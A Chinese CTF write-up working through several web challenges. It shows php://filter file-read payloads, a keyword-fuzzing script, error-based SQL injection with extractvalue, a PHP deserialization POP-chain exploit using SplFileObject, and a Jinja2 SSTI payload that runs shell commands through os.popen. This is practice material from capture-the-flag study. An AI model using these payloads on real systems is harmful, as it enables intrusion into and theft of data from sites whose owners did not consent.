看到了js代码
有一个base64编码,解密
最后发现这是一个加密方式
去掉空格之后得到了flag
NSSCTF{youfindflagbytapcode}
提示说有一个秘密看看你能不能找到
输入?file=secret 出现报错
?file=php://filter/convert.base64-encode/resource=index.php
得到
CiAgICBoaWdobGlnaHRfZmlsZShfX0ZJTEVfXyk7DQp9DQo/Pg0KPC9odG1sPg0K
发现就是原页面,读取flag文件
SQL如何从字符串截取指定字符(LEFT、MID、RIGHT三大函数)_sqlserver 截取字符串到某个字符-CSDN博客
渗透测试-SQL注入之Fuzz绕过WAF_fuzz模糊注入_炫彩@之星的博客-CSDN博客
深入浅出带你学习无列名注入-CSDN博客
在登录找到了注入点
sql学的还是太少了,看网上大佬的思路来学的这道题
先用脚本对他进行fuzz测试,
大佬脚本:
import requests fuzz={'length ','+','handler','like','select','sleep','database','delete','having','or','as','-~','BENCHMARK','limit','left','select','insert' ,'sys.schema_auto_increment_columns','join','right','#','&','&&','\\','handler','---','--','--+','INFORMATION','--',';','!','%','+','xor','<>' ,'(','>','<',')','.','^','=','AND','BY','CAST','COLUMN','COUNT','CREATE','END','case',"'1'='1'",'when',"admin'",'length','+','REVERSE','ascii' ,'select','database','left','right','union','||','oorr','/','//','//*','*/*','/**/','anandd','GROUP','HAVING','IF','INTO','JOIN','LEAVE','LEFT' ,'LEVEL','sleep','LIKE','NAMES','NEXT','NULL','OF','ON','|','infromation_schema','user','OR','ORDER','ORD','SCHEMA','SELECT','SET','TABLE','THEN' ,'UPDATE','USER','USING','VALUE','VALUES','WHEN','WHERE','ADD','AND','prepare','set','update','delete','drop','inset','CAST','COLUMN','CONCAT' ,'GROUP_CONCAT','group_concat','CREATE','DATABASE','DATABASES','alter','DELETE','DROP','floor','rand()','information_schema.tables','TABLE_SCHEMA' ,'%df','concat_ws()','concat','LIMIT','ORD','ON' ,'extractvalue','order','CAST()','by','ORDER','OUTFILE','RENAME','REPLACE','SCHEMA','SELECT','SET','updatexml','SHOW','SQL','TABLE','THEN','TRUE','instr' ,'benchmark','format','bin','substring','ord','UPDATE','VALUES','VARCHAR','VERSION','WHEN','WHERE','/*','`',',','users','%0a','%0b','mid','for','BEFORE','REGEXP' ,'RLIKE','in','sys schemma','SEPARATOR','XOR','CURSOR','FLOOR','sys.schema_table_statistics_with_buffer','INFILE','count','%0c','from','%0d','%a0','=','@','else'} for i in fuzz: res = requests.post(url='******',data={'tt':i}) if '不要耍小心思喔~' in res.text: print(i)
测试结果:
insert
ascii
=
as
BY
BENCHMARK
UPDATE
sleep
anandd
case
FLOOR
&
union
LEFT
substring
benchmark
&&
updatexml
IF
CAST()
AND
rand()
CAST
database
DATABASE
left
right
by
'1'='1'
COLUMN
DATABASES
sys.schema_auto_increment_columns
floor
handler
update
其实一开始想到的是布尔盲注,因为输入1会返回txw4ever,输入0返回空白,但是禁用了ascii函数,禁用了updatexml函数,但是可以使用extractvalue函数。
database被禁,所以可以考虑用访问一个不存在的数据库来返回数据库。
payload:
-1' || (select*from ANTONIE)#
发现了报错注入
接着就是正常的报错注入
-1' || extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema like 'sqlsql')))#
爆出表Fal_flag,output
接下来column被ban了,所以用无列注入,join题目也有提示。
-1' || extractvalue(1,mid(concat(0x7e,(select data from output)),1,30))#
最后用mid或reverse函数读取flag
1' || extractvalue(1,mid(concat(0x7e,(select data from output)),10,40))#
反序列化
还是,构造pop链的话先从最后往前推
找可以命令执行的地方
发现只有一句这个 echo new $_POST['a']($_POST['b']);
又是一个新知识点
SecIN(浅谈php中常见的原生类)
能利用原生类SplFileObject读取文件
所以目标点加上school类中的IPO方法
在__wakeup()类中 调用
而且只有 $this->department->hahaha() 为真时才可以调用
变量department又要调用hahaha()
hahaha()是classroom类中的方法,
所以这里要实例化classroom赋给dapartment
要实例化hahaha()就要满足这条语句
if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department')
这里的变量name和rank又联系到了第一大类
hahaha返回true三个变量相等其中后面两个变量明显是一个对象中的name和rank变量
有这两个变量的只有teacher类,所以要实例化该类并赋值给leader
最后就是在teacher类中赋值name和rank即可
大致的链子为:
school::__wakeup()–>classroom::hahaha()–>school::IPO()
poc是
class teacher{
public $name;
public $rank;
private $salary;
public function __construct($name,$rank,$salary = 10000){
$this->name = $name;
$this->rank = $rank;
$this->salary = $salary;
}
}class classroom{
public $name;
public $leader;
public function __construct($name,$leader){
$this->name = $name;
$this->leader = $leader;
}
public function hahaha(){
if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
return False;
}
else{
return True;
}
}
}class school{
public $department;
public $headmaster;
public function __construct($department,$ceo){
$this->department = $department;
$this->headmaster = $ceo;
}
public function IPO(){
if($this->headmaster == 'ong'){
echo "Pretty Good ! Ctfer!\n";
echo new $_POST['a']($_POST['b']);
}
}
public function __wakeup(){
if($this->department->hahaha()) {
$this->IPO();
}
}
}
$a=new school(new classroom("one class",new teacher("ing","department")),"ong");/*******/创建了一个
teacher
对象,使用"ing"
作为姓名,"department"
作为职位,默认薪水为10000
。创建了一个classroom
对象,使用"one class"
作为名称,并将上一步创建的teacher
对象作为领导。创建了一个school
对象,使用上一步创建的classroom
对象作为部门,以及字符串"ong"
作为校长。将创建的school
对象赋值给变量$a
。/********/
echo urlencode(base64_encode(serialize($a)));
?>
成功绕过
接下来利用原生类SplFileObject读取文件
a为类,b用php协议读取flag.php /代码中说了flag在flag.php中
所以POST的payload为:
a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php
解密得flag
看标题,先来个抓个包瞅瞅
他说必须从小红自己的电脑上访问
直接抓包然后xff,发现没有东西
看看在加个referer:xiaohong
看标签是有php伪协议,上传文件不知道他都有什么绕过
在查询文件里输入 php://filter/convert.base64-encode/resource=/flag
得到了base64编码
解码得到flag
进去直接问你什么是模板注入,忍不了一点
SSTI (Server Side Template Injection) - HackTricks
这是题里给的链接,讲解的很详细
得到的参数是name,发现是jinja2模板,而且没过滤
找到flag文件
?name={{config.__class__.__init__.__globals__['os'].popen('ls').read() }}
读取 ?name={{config.__class__.__init__.__globals__['os'].popen('cat flag').read() }}
ssti好久没复习,都有点忘了,而且之前博客整理的payload也不够